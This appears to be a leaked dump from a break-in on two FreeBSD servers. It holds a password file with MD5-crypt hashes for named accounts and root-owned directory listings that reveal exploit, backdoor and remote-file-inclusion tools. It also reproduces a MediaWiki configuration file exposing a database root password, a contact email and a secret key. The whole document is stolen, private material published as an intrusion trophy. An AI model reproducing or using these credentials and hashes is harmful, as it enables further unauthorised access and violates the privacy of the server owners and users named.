nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
ltsvadmin:$1$2fVGuwaC$7B57fBkwiTg9W1S5VKD5u1:1001:1001::0:0:User
&:/home/ltsvadmin:/bin/sh
zipservers:$1$A.lwsVBx$CmzJM6Wt3RX6jOvByFKSv0:1002:0::0:0:User
&:/home/zipservers:/bin/sh
inaki:*:1003:1003::0:0:Inaki:/home/inaki:/usr/local/bin/bash
tremulous:*:1006:1006::0:0:User &:/home/tremulous:/usr/local/bin/bash
trem-maps:*:1008:1008::0:0:User &:/home/trem-maps:/bin/sh
ms-clanserver:$1$KkKxsoei$936d9IWKWrptqxTRqCcKw.:1009:1009::0:0:User
&:/home/ms-clanserver:/usr/local/bin/bash
mysql::88:88::0:0:MySQL Daemon:/nonexistent:/usr/local/bin/bash
httpd::1015:1015::0:0:User &:/home/httpd:/usr/local/bin/bash
mjestic::1017:1017::0:0:User &:/home/mjestic:/bin/sh
alma-server::1018:1018::0:0:alma-server:/home/alma-server:/usr/local/bin/bash
test-serv::1019:1019::0:0:test-serv:/home/test-serv:/usr/local/bin/bash
negroe:$1$GJKcFbkI$eMgx8tGbbuAsIY7z4jrqT/:1020:1020::0:0:User
&:/home/negroe:/usr/local/bin/bash
helldive::1021:1021::0:0:helldive:/home/helldive:/usr/local/bin/bash
relentless:$1$hzrBuTFU$LxjyfrPLRNO5orBe/pw8V.:1022:1022::0:0:User
&:/home/relentless:/usr/local/bin/bash
nt-server:$1$bAEJNi4W$JCRyivGro8EsX/yMCouDS/:1023:1023::0:0:User
&:/home/nt-server:/usr/local/bin/bash
syense:$1$tHx1g5xm$HDClXkM2jE1bosbJDjG.V/:1024:1024::0:0:User
&:/home/syense:/usr/local/bin/bash
trem12:$1$x1CIdzvF$LSaYQRI5aZU0gPSTfOggw0:1025:1025::0:0:User
&:/home/trem12:/usr/local/bin/bash
ian:$1$KW5wFPNM$J1xzBja4bP/6qAtHHBKm//:1026:1026::0:0:User
&:/home/ian:/usr/local/bin/bash
kate:$1$.pMZPvPH$KKvicI7gzVfOMRWmtVfck0:1027:1027::0:0:Kate
Stone:/home/kate:/usr/local/bin/bash
untitledhosting:$1$R8QaOXJ.$zjw6dJXsIiVJlsWfYYKWk.:1028:1028::0:0:User
&:/home/untitledhosting:/usr/local/bin/bash
inkyslair:$1$UFYE2CK0$WrlYr6wPe32qU1j.xwLiz0:1029:1029::0:0:User
&:/home/inkyslair:/usr/local/bin/bash

>> ls -la /root
total 38474
drwx------  19 root	   wheel      2048 Mar 12 21:59 .
drwxr-xr-x  18 root	   wheel       512 Jan 26 19:57 ..
-rwx------   1 root	   wheel      3015 Feb 18 01:18 .bash_h1story
-rwx------   1 root	   wheel      9711 Mar 22 21:17 .bash_history
-rwx------   1 root	   wheel	30 Dec 15 17:10 .bash_profile
-rwx------   1 root	   wheel	30 Dec 15 17:03 .bashrc
drwx------   4 root	   wheel       512 Jan	5 10:07 .cpan
-rwx------   2 root	   wheel       801 Jan 12  2007 .cshrc
drwx------   2 root	   wheel       512 Mar 11 01:01 .elinks
-rwx------   1 root	   wheel       892 Dec 16 11:47 .history
drwx------   2 root	   wheel       512 Dec 15 16:14 .irssi
-rwx------   1 root	   wheel       143 Jan 12  2007 .k5login
-rw-------   1 root	   wheel	35 Mar 12 22:10 .lesshst
drwx------   2 root	   wheel       512 Mar 11 01:01 .links
-rwx------   1 root	   wheel       293 Jan 12  2007 .login
-rwx------   1 root	   wheel      1081 Feb 25 06:52 .mysql_history
-rwx------   1 root	   wheel     17401 Mar 12 21:59 .pinerc
-rwx------   2 root	   wheel       251 Jan 27 21:36 .profile
-rw-------   1 root	   wheel      1024 Feb 25 06:33 .rnd
drwx------   2 root	   wheel       512 Jan 29 22:58 .ssh
drwx------   3 root	   wheel       512 Jan	4 07:59 .subversion
-rwx------   1 root	   wheel	 0 Feb 18 01:18 .temp
drwx------   3 root	   wheel       512 Dec 16 02:48 .tremulous
drwx------   5 root	   wheel       512 Dec 18 22:15 .weechat
drwx------   2 root	   wheel       512 Dec 29 08:57 72.20.14.247
-rwx------   1 root	   wheel   1764184 Dec 19 01:55 Railroad.zip
-rwx------   1 root	   wheel    205609 Dec 17 15:39 acidtechpurple.zip
-rwx------   1 root	   wheel	 6 Feb 16 19:36 auth.log
-rwx------   1 root	   wheel       588 Dec 16 02:41 base-config.cfg
-rwx------   1 root	   wheel       223 Dec 16 02:40 base-confs.cfg
-rwx------   1 root	   wheel      4199 Feb 18 01:16 bd.pl
-rwx------   1 root	   wheel	 0 Feb 17 14:55 bot.pl
drwx------   3 root	   wheel       512 Feb	4 03:08 brute
-rwx------   1 root	   wheel	65 Feb 19 02:15 db.opt
-rwx------   1 root	   wheel      1827 Dec 16 03:05 install-trem-server.pl
drwx------   2 root	   wheel      6144 Feb 19 02:15 lt3c_phpbb
drwx------   2 root	   wheel       512 Jan 23 15:01 mail
drwx------   5 root	   wheel       512 Dec 24 01:18 master
-rwx------   1 root	   wheel     45778 Dec 24 02:56 master.tgz
-rwx------   1 root	   wheel   4367618 Jan 27 09:16 mbox
drwx------  14 root	   wheel       512 Jan	6 07:20 mumble
-rwx------   1 root	   wheel    631037 Feb	5 00:52 myspace.jpg
-rwx------   1 root	   wheel	46 Feb 19 02:13 mysql_fix.txt
-rwx------   1 root	   wheel     10704 Dec 16 21:05 nmap.log
-rwx------   1 root	   wheel	 0 Jan 27 00:09 sshd_log
-rwx------   1 root	   wheel	92 Dec 16 03:04 start.sh
-rwx------   1 root	   wheel     29529 Dec 23 21:59 sys.pl
-rwx------   1 root	   wheel  30932992 Feb	3 08:57 test100.zip
drwx------   7 root	   wheel       512 Feb 24 00:05 trunk
-rwx------   1 root	   wheel   1155345 Feb 18 02:08
ts2_server_rc2_202319.tar.bz2
drwx------   7 zipservers  100	       512 Feb 18 22:15 tss2_rc2
drwx------   4 root	   wheel       512 Dec 15 17:53 utils
>> ls -la /usr/home
total 56
drwxr-xr-x  25 1013		1013		  512 Mar 10 23:08 .
drwxr-xr-x  20 root		wheel		  512 Mar 11 23:49 ..
drwxr-xr-x   6 alma-server	alma-server	  512 Jan 21 07:40 alma-server
drwxr-xr-x   3 1013		1013		  512 Jan 27 09:22 aox
drwxr-xr-x   4 helldive 	helldive	  512 Feb  4 00:21 helldive
drwxr-xr-x   2 httpd		httpd		  512 Jan  4 05:14 httpd
drwxr-xr-x   5 ian		ian		  512 Mar 20 17:47 ian
drwx------  25 inaki		inaki		 1536 Mar 17 21:06 inaki
drwxr-xr-x   2 inkyslair	inkyslair	  512 Mar 15 22:16 inkyslair
drwxr-xr-x   3 1010		ircd		  512 Dec 16 20:25 ircd
drwxr-xr-x   4 kate		kate		  512 Feb 28 06:22 kate
drwxr-xr-x   2 1013		1013		  512 Dec 14 17:42 ltsvadmin
drwxr-xr-x   5 mjestic		mjestic 	  512 Jan 14 06:44 mjestic
drwxr-xr-x   4 ms-clanserver	ms-clanserver	  512 Dec 17 04:12
ms-clanserver
drwxr-xr-x   4 negroe		negroe		  512 Feb  9 10:21 negroe
drwxr-xr-x   9 nt-server	nt-server	  512 Mar  9 01:36 nt-server
drwxr-xr-x   3 1013		1013		  512 Dec 16 02:28 powerover
drwxr-xr-x   2 relentless	relentless	  512 Feb  7 16:55 relentless
drwxr-xr-x   6 syense		syense		  512 Mar 17 07:51 syense
drwxr-xr-x   4 test-serv	test-serv	  512 Jan 21 08:01 test-serv
drwxr-xr-x   5 trem-maps	trem-maps	 6656 Feb 26 03:57 trem-maps
drwxr-xr-x   4 trem12		trem12		  512 Feb 18 22:53 trem12
drwxr-xr-x   5 tremulous	tremulous	  512 Mar 21 20:09 tremulous
drwxr-xr-x   2 untitledhosting	untitledhosting   512 Mar  7 15:18
untitledhosting
drwxr-xr-x   2 1013		1013		  512 Feb 23 07:23 zipservers
>> ls -la invalid.site/www/
total 3718
drwxrwxrwx   3 root   wheel	 512 Mar 11 04:15 .
drwxr-xr-x   4 root   wheel	 512 Feb  6 07:03 ..
-rwxr-xr-x   1 root   wheel   551940 Mar  1 04:58 __spl
drwxr-xr-x  11 root   wheel	2560 Mar 10 03:49 __sql
-rwxr-xr-x   1 root   wheel    13534 Mar  5 06:47 a.out
-rw-r--r--   1 root   wheel	2412 Feb 15 07:40 attack.php
-rw-r--r--   1 root   wheel	2412 Feb 15 07:40 attack.src
-rwxr-xr-x   1 root   wheel	4175 Mar  8 02:18 bd.txt
-rwxr-xr-x   1 root   wheel	4168 Mar  8 02:24 bd_2.txt
-rwxrwxrwx   1 root   wheel	4606 Feb 29 06:10 bopm.conf
-rw-r--r--   1 root   wheel	5784 Mar  3 13:54 cute.php
-rw-r--r--   1 root   wheel	 706 Mar  9 06:23 dc.txt
-rw-r--r--   1 root   wheel	5185 Mar  1 05:55 exp.pm
-rw-r--r--   1 root   wheel    10486 Mar  1 06:10 get.txt
-rw-r--r--   1 root   wheel    10423 Mar  1 06:00 get.txty
-rw-r--r--   1 root   wheel	  20 Mar  1 03:18 index.php
-rw-r--r--   1 root   wheel	 341 Mar  7 02:22 inf.txt
-rwxr-xr-x   1 root   wheel    13534 Mar  1 06:54 kmod
-rw-r--r--   1 root   wheel	3740 Mar 15 13:56 kmod.c
-rwxr-xr-x   1 root   wheel	9014 Mar  5 06:47 krad
-rw-r--r--   1 root   wheel	 232 Feb 14 03:11 owned.php
-rwxr-xr-x   1 root   wheel	8574 Mar  1 06:17 perl_root
-rw-------   1 httpd  wheel  3072000 Mar  9 05:21 php-cgi.core
-rw-r--r--   1 root   wheel	3457 Feb 29 06:33 repl.txt
[root@athena:/var/www]

>> ls -la lt3c.info/www/
total 712
drwxr-xr-x   7 httpd  httpd	512 Feb 16 19:37 .
drwxr-xr-x   4 httpd  httpd	512 Jan 26 09:24 ..
-rw-r--r--   1 root   httpd  205609 Dec 17 15:39 acidtechpurple.zip
drwxr-xr-x   2 httpd  httpd	512 Jan 31 02:23 css
drwxr-xr-x  13 httpd  httpd    1024 Feb  9 02:40 forum
drwxr-xr-x   2 httpd  httpd	512 Jan 31 05:34 images
-rw-r--r--   1 httpd  httpd    3094 Mar  8 01:44 index.php
drwxr-xr-x   2 httpd  httpd	512 Mar 17 20:50 inky
-rw-r--r--   1 httpd  httpd	267 Mar  8 01:44 lib.php
drwxr-xr-x   2 httpd  httpd	512 Jan 31 07:01 pages
-rw-r--r--   1 httpd  httpd	904 Mar  8 01:44 temp.htm
-rw-r--r--   1 root   httpd	 45 Feb 12 08:27 uta.htm
-rw-r--r--   1 root   httpd  214602 Feb 12 08:13 uta.pmd
-rw-r--r--   1 root   httpd  211734 Feb 12 08:24 uta.qcp
[root@athena:/var/www]
>> ls -la partyvanradio.org/www/
total 6
drwxr-xr-x  2 relentless  relentless  512 Feb  7 06:54 .
drwxr-xr-x  4 root	  wheel       512 Feb  7 06:53 ..
-rw-r--r--  1 relentless  relentless  166 Feb  7 07:13 index.php
[root@athena:/var/www]
>> ls -la untitledhosting.org/www/
total 74
drwxr-xr-x  10 untitledhosting	untitledhosting   512 Mar 10 03:05 .
drwxr-xr-x   4 root		wheel		  512 Mar  7 15:13 ..
-rw-r--r--   1 untitledhosting	untitledhosting     8 Mar 10 03:05 LAWL
drwxr-xr-x   4 untitledhosting	untitledhosting  2048 Mar 10 02:47 admin
-rwxr-xr-x   1 untitledhosting	untitledhosting  5805 Mar 10 02:52 config.php
drwxr-xr-x   2 untitledhosting	untitledhosting   512 Mar 10 02:47 doc
-rw-r--r--   1 untitledhosting	untitledhosting   318 Jan  3 02:56
favicon_cms.ico
-rw-r--r--   1 untitledhosting	untitledhosting   330 Jan  3 02:56 fileloc.php
drwxr-xr-x   3 untitledhosting	untitledhosting   512 Mar 10 02:47 images
-rw-r--r--   1 untitledhosting	untitledhosting  8187 Jan  3 02:56 include.php
-rw-r--r--   1 untitledhosting	untitledhosting  9809 Jan  3 02:56 index.php
drwxr-xr-x  11 untitledhosting	untitledhosting   512 Mar 10 02:47 lib
-rw-r--r--   1 untitledhosting	untitledhosting   961 Jan  3 02:56 moduleinterface.php
drwxrwxrwx  12 untitledhosting	untitledhosting   512 Mar 10 02:47 modules
drwxr-xr-x   3 untitledhosting	untitledhosting  2048 Mar 10 02:47 plugins
-rw-r--r--   1 untitledhosting	untitledhosting  1955 Jan  3 02:56 preview.php
-rw-r--r--   1 untitledhosting	untitledhosting   168 Jan  3 02:56 robots.txt
-rw-r--r--   1 untitledhosting	untitledhosting  4161 Jan  3 02:56 soap.php
-rw-r--r--   1 untitledhosting	untitledhosting  2535 Jan  3 02:56 stylesheet.css
-rw-r--r--   1 untitledhosting	untitledhosting  5179 Jan  3 02:56 stylesheet.php
drwxrwxrwx   6 untitledhosting	untitledhosting   512 Mar 10 02:47 tmp
drwxrwxrwx   4 untitledhosting	untitledhosting   512 Mar 10 03:09 uploads
-rw-r--r--   1 untitledhosting	untitledhosting  1127 Jan  3 02:56 version.php
[root@athena:/var/www]
>> ls -la /home/inaki/
total 157184
drwx------  25 inaki  inaki	  1536 Mar 17 21:06 .
drwxr-xr-x  25 1013   1013	   512 Mar 10 23:08 ..
-rwx------   1 inaki  inaki	 10462 Mar 22 00:28 .bash_history
-rwx------   1 inaki  inaki	    30 Dec 16 17:56 .bash_profile
-rwx------   1 inaki  inaki	    30 Dec 16 17:56 .bashrc
-rw-r--r--   1 inaki  inaki	 14178 Mar  4 00:00 .bot_log
-rwx------   1 inaki  inaki	   767 Dec 15 16:07 .cshrc
-rw-r--r--   1 inaki  inaki	     6 Mar 17 21:06 .gay-state
-rwx------   1 inaki  inaki	   142 Dec 17 01:58 .history
drwx------   2 inaki  inaki	   512 Dec 18 22:12 .irssi
-rw-------   1 inaki  inaki	    35 Mar  9 18:42 .lesshst
drwx------   2 inaki  inaki	   512 Jan 30 21:51 .links
-rwx------   1 inaki  inaki	   248 Dec 15 16:07 .login
-rwx------   1 inaki  inaki	   158 Dec 15 16:07 .login_conf
-rwx------   1 inaki  inaki	   373 Dec 15 16:07 .mail_aliases
-rwx------   1 inaki  inaki	   331 Dec 15 16:07 .mailrc
-rwx------   1 inaki  inaki	   797 Dec 15 16:07 .profile
-rwx------   1 inaki  inaki	   276 Dec 15 16:07 .rhosts
-rwx------   1 inaki  inaki	   975 Dec 15 16:07 .shrc
drwx------   2 inaki  inaki	   512 Feb  9 07:09 .ssh
drwx------   7 inaki  inaki	   512 Mar 17 16:56 .weechat
-rw-r--r--   1 inaki  inaki	  1330 Mar 10 03:53 InstallMorgan.pl
drwxr-xr-x   2 inaki  inaki	   512 Mar  5 22:56 RFIscan
drwx------  17 inaki  inaki	  1536 Mar 12 21:55 Unreal3.2.7
-rwx------   1 inaki  inaki    2801622 Dec 29 09:01 Unreal3.2.7.tar.gz
-rw-r--r--   1 inaki  inaki	 12469 Mar  7 05:27 _good_rfis.txt
drwx------   7 inaki  inaki	  1024 Dec 27 22:44 anope-1.7.19
-rwx------   1 inaki  inaki    1505639 Jun 10  2007 anope-1.7.19.tar.gz
drwx------   8 inaki  inaki	   512 Jan 13 07:25 bopm
drwx------   5 inaki  inaki	  1024 Jan 13 07:02 bopm-3.1.3
-rwx------   1 inaki  inaki	819273 May 16  2007 bopm-3.1.3.tar.gz
-rwx------   1 inaki  inaki	  1424 Dec 27 21:59 bot.pl
-rwx------   1 inaki  inaki	  1401 Dec 25 08:31 bot.pl.save
-rwx------   1 inaki  inaki	  1417 Dec 27 21:57 bot.pl\
drwx------   4 inaki  inaki	   512 Mar  3 14:10 botpanel
-rwx------   1 inaki  inaki	 11962 Feb 13 03:05 botpanel.tgz
-rwx------   1 inaki  inaki	     0 Dec 23 00:06 cigarette
-rw-r--r--   1 inaki  inaki	  1334 Mar  8 05:57 cleanrfi.pl
drwxrwxrwx   3 inaki  inaki	   512 Feb 23 04:17 exe
drwx------   2 inaki  inaki	   512 Feb  9 07:43 flash
-rwx------   1 inaki  inaki	130677 Jul 14  2007 gay
-rwx------   1 inaki  inaki	  2576 Nov 24 23:25 gen.pl
-rwxr-xr-x   1 inaki  inaki	   655 Mar  5 02:45 getRFI.sh
-rw-r--r--   1 inaki  inaki	121721 Mar 10 04:33 good_rfis.txt
drwxrwxrwx   2 inaki  inaki	   512 Feb 21 04:08 images
drwx------   8 inaki  inaki	   512 Jan  5 09:48 ircd
-rwx------   1 inaki  inaki    2457953 Dec 19 02:58 irssi
-rwx------   1 inaki  inaki	   530 Dec 19 01:34 jap.pl
drwx------   5 inaki  inaki	   512 Feb 17 15:56 jewgong
-rwx------   1 inaki  inaki	  1507 Jan  5 08:37 lol.sh
-rwx------   1 inaki  inaki	  5026 Feb  1 23:08 lolol
drwx------   4 inaki  inaki	   512 Jan  4 22:25 lulzhost.net
-rwx------   1 inaki  inaki	 45778 Dec 24 02:22 master.tgz
drwx------   7 inaki  inaki	   512 Dec 27 22:50 misc
-rwx------   1 inaki  inaki	  1993 Dec  1 19:39 mpdnp.pl
drwx------   2 inaki  inaki	   512 Feb 17 11:04 music
-rwx------   1 inaki  inaki    9576448 Feb  3 09:29 openssl_installer.exe
-rwx------   1 inaki  inaki	     0 Feb 11 03:27 out
drwx------   2 inaki  inaki	   512 Jan 11 20:20 oxygen
-rwx------   1 inaki  inaki	     0 Nov 25 09:04 pizza
drwx------   2 inaki  inaki	   512 Jan 16 23:14 public_html
drwx------   2 inaki  inaki	   512 Jan  4 03:33 radiobot
-rwx------   1 inaki  inaki	   806 Dec 16 21:17 range
-rw-r--r--   1 inaki  inaki	190367 Mar 21 21:52 rfis.txt
drwx------   3 inaki  inaki	  1024 Jan 14 00:38 seeborg-0.51
-rwx------   1 inaki  inaki	 58113 Aug 15  2003 seeborg-0.51.tar.gz
-rwx------   1 inaki  inaki	   825 Dec  1 17:59 server.cfg
-rwx------   1 inaki  inaki   14285284 Dec 25 03:00 sy.rar
-rwx------   1 inaki  inaki	    55 Dec  8 10:30 test
-rwx------   1 inaki  inaki	    67 Dec  7 12:48 test.sh
drwx------   3 inaki  inaki	   512 Jan  5 09:48 testircd
-rwx------   1 inaki  inaki	     0 Nov 24 22:00 trace.rt
-rwx------   1 inaki  inaki  128561152 Mar  8 00:19 weechat-curses.core
-rwx------   1 inaki  inaki	    69 Dec 16 21:17 xh.pl
>> ls -la /usr/home/mjestic/
total 204
drwxr-xr-x   5 mjestic	mjestic     512 Jan 14 06:44 .
drwxr-xr-x  25 1013	1013	    512 Mar 10 23:08 ..
-rw-------   1 mjestic	mjestic    1404 Jan 14 06:52 .bash_history
-rw-r--r--   1 mjestic	mjestic     767 Jan 14 05:18 .cshrc
-rw-r--r--   1 mjestic	mjestic     248 Jan 14 05:18 .login
-rw-r--r--   1 mjestic	mjestic     158 Jan 14 05:18 .login_conf
-rw-------   1 mjestic	mjestic     373 Jan 14 05:18 .mail_aliases
-rw-r--r--   1 mjestic	mjestic     331 Jan 14 05:18 .mailrc
-rw-r--r--   1 mjestic	mjestic     797 Jan 14 05:18 .profile
-rw-------   1 mjestic	mjestic     276 Jan 14 05:18 .rhosts
-rw-r--r--   1 mjestic	mjestic     975 Jan 14 05:18 .shrc
drwxr-xr-x   4 mjestic	mjestic     512 Jan 14 06:45 .tremulous
drwxr-xr-x   5 mjestic	mjestic     512 Nov  8 07:29 arcade
-rw-r--r--   1 mjestic	mjestic  178453 Nov  8 07:30 arcade-svn971-14-vm.tar.gz
drwxr-xr-x   3 mjestic	mjestic     512 Jan 14 06:46 trem-server
[root@athena:/var/www]

/*
*
* And now for partyvan.info
*
*/

$ uname -a
FreeBSD partyvan.info 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52
UTC 2008     root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
$ w
12:22AM  up  2:37, 0 users, load averages: 0.06, 0.06, 0.07
USER		 TTY	  FROM		    LOGIN@  IDLE WHAT
$ ls
apache22
squirrelmail
$ pwd
/usr/local/www
$ cd apache22
$ ls -al
total 14
drwxr-xr-x   6 root  wheel   512 Mar  8 16:40 .
drwxr-xr-x   4 root  wheel   512 Mar  8 22:03 ..
drwxr-xr-x   2 root  wheel   512 Mar  8 16:40 cgi-bin
drwxr-xr-x  28 root  wheel  1536 Mar  8 22:01 data
drwxr-xr-x   3 root  wheel  1024 Mar  8 16:40 error
drwxr-xr-x   3 root  wheel  3584 Mar  8 16:40 icons
$ cd data
$ ls -al
total 120006
drwxr-xr-x  28 root	wheel	      1536 Mar	8 22:01 .
drwxr-xr-x   6 root	wheel	       512 Mar	8 16:40 ..
drwxr-xr-x   3 root	picatta        512 Mar	8 17:41 711chan
-rwxr-xr-x   1 root	picatta        825 Mar	5 12:48 AdminSettings.sample
-rwxr-xr-x   1 root	picatta      17997 Mar	5 12:48 COPYING
-rwxr-xr-x   1 root	picatta        162 Mar	5 12:48 FAQ
-rwxr-xr-x   1 root	picatta     175294 Mar	5 12:48 HISTORY
-rwxr-xr-x   1 root	picatta       3992 Mar	5 12:48 INSTALL
-rw-r--r--   1 root	picatta       4522 Mar	5 12:48 LocalSettings.php
-rwxr-xr-x   1 root	picatta 	27 Mar	5 12:48 Makefile
-rwxr-xr-x   1 root	picatta      44283 Mar	5 12:48 RELEASE-NOTES
-rwxr-xr-x   1 root	picatta        605 Mar	5 12:48 StartProfiler.php
-rwxr-xr-x   1 root	picatta      12816 Mar	5 12:48 UPGRADE
-rwxr-xr-x   1 root	picatta       1316 Mar	5 12:48 api.php
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 auth
drwxr-xr-x   3 root	wheel	       512 Mar	8 17:41 backup
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 bin
drwxr-xr-x  18 root	picatta        512 Mar	8 17:41 cachedir
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 cgi-bin
-rw-r--r--   1 root	picatta       1832 Mar	5 12:48 cheese.gif
-rw-r--r--   1 root	picatta       1677 Mar	5 12:48 cheese2.gif
-rwxr-xr-x   1 root	picatta  122077184 Mar	5 12:48 core.21271
drwxr-xr-x   3 root	picatta        512 Mar	8 17:41 dev
drwxr-xr-x   4 root	picatta        512 Mar	8 17:41 docs
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 donate
-rw-r--r--   1 root	picatta       2037 Mar	5 12:48 epiccheese.js
-rw-r--r--   1 root	picatta       2091 Mar	5 12:48 epicfail.js
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 extensions
-rwxr-xr-x   1 root	picatta       1150 Mar	5 12:48 favicon.ico
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 fimg
-rwxr-xr-x   1 root	picatta       1501 Mar	5 12:48 front.php
-rwxr-xr-x   1 root	picatta        173 Mar	5 12:48 google.html
drwxr-xr-x   3 root	picatta        512 Mar	8 17:41 hosted
drwxr-xr-x  21 root	picatta        512 Mar	8 17:41 images
-rwxr-xr-x   1 root	picatta       1978 Mar	5 12:48 img_auth.php
drwxr-xr-x   7 root	picatta       5632 Mar	8 17:41 includes
-rwxr-xr-x   1 root	picatta        113 Mar	5 12:48 index.dongs
-rwxr-xr-x   1 root	picatta       1513 Mar	5 12:48 index.old
-rwxr-xr-x   1 root	picatta       8716 Mar	5 12:48 index.php
-rwxr-xr-x   1 root	picatta        454 Mar	5 12:48 index.php__
-rwxr-xr-x   1 root	picatta 	21 Mar	5 12:48 info.php
-rwxr-xr-x   1 root	picatta       3899 Mar	5 12:48 install-utils.inc
drwxr-xr-x   4 root	picatta        512 Mar	8 17:41 languages
-rwxr-xr-x   1 root	picatta        584 Mar	5 12:48 load.php
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 locale
-rwxr-xr-x   1 root	picatta       3227 Mar	5 12:48 lol.css
drwxr-xr-x   9 root	picatta       4096 Mar	8 17:41 maintenance
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 math
-rw-r--r--   1 root	picatta 	 0 Mar	5 12:48 merge.php
-rwxr-xr-x   1 root	picatta      19631 Mar	5 12:48 mudkipz.png
-rwxr-xr-x   1 root	picatta       1532 Mar	5 12:48 opensearch_desc.php
-rwxr-xr-x   1 root	picatta      65394 Mar	5 12:48 owned1.jpg
-rwxr-xr-x   1 root	picatta      67133 Mar	5 12:48 owned2.jpg
-rw-r--r--   1 picatta	picatta        361 Mar	8 21:56 portl.html
-rwxr-xr-x   1 root	picatta       6173 Mar	5 12:48 profileinfo.php
drwxr-xr-x   3 root	picatta        512 Mar	8 17:41 public_ftp
drwxr-xr-x   7 root	picatta       1024 Mar	8 17:41 raid
-rwxr-xr-x   1 root	picatta        428 Mar	5 12:48 redir.php
-rwxr-xr-x   1 root	picatta        319 Mar	5 12:48 redirect.php
-rwxr-xr-x   1 root	picatta 	91 Mar	5 12:48 redirect.phtml
-rwxr-xr-x   1 root	picatta 	92 Mar	5 12:48 robots.txt
-rwxr-xr-x   1 root	picatta       1351 Mar	5 12:48 seal.php
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 serialized
-rwxr-xr-x   1 root	picatta     147770 Mar	5 12:48 shit.jpg
drwxr-xr-x  10 root	picatta       1024 Mar	8 17:41 skins
drwxr-xr-x   3 root	picatta        512 Mar	8 17:41 t
-rwxr-xr-x   1 root	picatta 	 6 Mar	5 12:48 test
-rwxr-xr-x   1 root	picatta 	27 Mar	5 12:48 test.php
-rwxr-xr-x   1 root	picatta 	53 Mar	5 12:48 test2.php
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 tests
-rwxr-xr-x   1 root	picatta       2408 Mar	5 12:48 thumb.php
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 tmp
-rwxr-xr-x   1 root	picatta       1384 Mar	5 12:48 trackback.php
drwxr-xr-x   2 root	picatta        512 Mar	8 17:41 vamp
-rwxr-xr-x   1 root	picatta 	88 Mar	5 12:48 wiki.phtml
-rwxr-xr-x   1 root	picatta       1756 Mar	5 12:48 ~index.php
$ cat LocalSettings.php
<?php

# This file was automatically generated by the MediaWiki installer.
# If you make manual changes, please keep track in case you need to
# recreate them later.
#
# See includes/DefaultSettings.php for all configurable settings
# and their default values, but don't forget to make changes in _this_
# file, not there.

# If you customize your file layout, set $IP to the directory that contains
# the other MediaWiki files. It will be used as a base to locate files.
if( defined( 'MW_INSTALL_PATH' ) ) {
	$IP = MW_INSTALL_PATH;
} else {
	$IP = dirname( __FILE__ );
}

$path = array( $IP, "$IP/includes", "$IP/languages" );
set_include_path( implode( PATH_SEPARATOR, $path ) . PATH_SEPARATOR .
get_include_path() );
require_once( "includes/DefaultSettings.php" );

# If PHP's memory limit is very low, some operations may fail.
# ini_set( 'memory_limit', '20M' );

if ( $wgCommandLineMode ) {
	if ( isset( $_SERVER ) && array_key_exists( 'REQUEST_METHOD', $_SERVER
) ) {
		die( "This script must be run from the command line\n" );
	}
} elseif ( empty( $wgNoOutputBuffer ) ) {
	## Compress output if the browser supports it
	if( !ini_get( 'zlib.output_compression' ) ) @ob_start( 'ob_gzhandler'
);
}

$wgSitename	    = "Insurgency Wiki";

## The URL base path to the directory containing the wiki;
## defaults for all runtime URL paths are based off of this.
$wgScriptPath	    = "";

## For more information on customizing the URLs please see:
## http://www.mediawiki.org/wiki/Manual:Short_URL

$wgShowIPinHeader = false;
$wgEnableEmail	    = true;
$wgEnableUserEmail  = true;

$wgEmergencyContact = "Coprolal1an@gmail.com";
$wgPasswordSender = "Coprolal1an@gmail.com";

## For a detailed description of the following switches see
## http://meta.wikimedia.org/Enotif and http://meta.wikimedia.org/Eauthent
## There are many more options for fine tuning available see
## /includes/DefaultSettings.php
## UPO means: this is also a user preference option
$wgEnotifUserTalk = true; # UPO
$wgEnotifWatchlist = true; # UPO
$wgEmailAuthentication = true;

$wgDBtype	    = "mysql";
$wgDBserver	    = "localhost";
$wgDBname	    = "partyvan_insurgency";
$wgDBuser	    = "root";
$wgDBpassword	    = "lolcats8295";

$wgDBport	    = "3306";
$wgDBprefix	    = "mw_";

# Schemas for Postgres
$wgDBmwschema	    = "mediawiki";
$wgDBts2schema	    = "public";

# Experimental charset support for MySQL 4.1/5.0.
$wgDBmysql5 = false;

## Shared memory settings
$wgFileCacheDirectory = '/home/partyvan/public_html/cachedir/';
$wgShowIPinHeader = false;
$wgUseFileCache = true;
$wgMainCacheType = CACHE_MEMCACHED;
$wgDisableCounters=true;
$wgMemCachedServers = array();
$wgUseMemCached = true;
$wgMemCachedServers = array( "127.0.0.1:11211" );
## To enable image uploads, make sure the 'images' directory
## is writable, then set this to true:
$wgEnableUploads       = true;
$wgUseImageResize      = true;
$wgUseImageMagick = true;
$wgImageMagickConvertCommand = "/usr/bin/convert";

## If you want to use image uploads under safe mode,
## create the directories images/archive, images/thumb and
## images/temp, and make them all writable. Then uncomment
## this, if it's not already uncommented:
# $wgHashedUploadDirectory = false;

## If you have the appropriate support software installed
## you can enable inline LaTeX equations:
$wgUseTeX	    = false;

$wgLocalInterwiki   = $wgSitename;
$wgLanguageCode = "en";

$wgProxyKey =
"79057c7a1562bb0417a20556cf0a63001ebacb27da55d05511820902bab34586";

## Default skin: you can change the default skin. Use the internal symbolic
## names, ie 'standard', 'nostalgia', 'cologneblue', 'monobook':
$wgDefaultSkin = 'nostalgia';

## For attaching licensing metadata to pages, and displaying an
## appropriate copyright notice / icon. GNU Free Documentation
## License and Creative Commons licenses are supported so far.
$wgEnableCreativeCommonsRdf = true;
$wgRightsPage = ""; # Set to the title of a wiki page that describes your
license/copyright
$wgRightsUrl = "http://creativecommons.org/licenses/by-nc-sa/3.0/";
$wgRightsText = "Attribution-Noncommercial-Share Alike 3.0 ";
$wgRightsIcon = "http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png";
# $wgRightsCode = "by-nc-sa"; # Not yet used

$wgDiff3 = "/usr/bin/diff3";

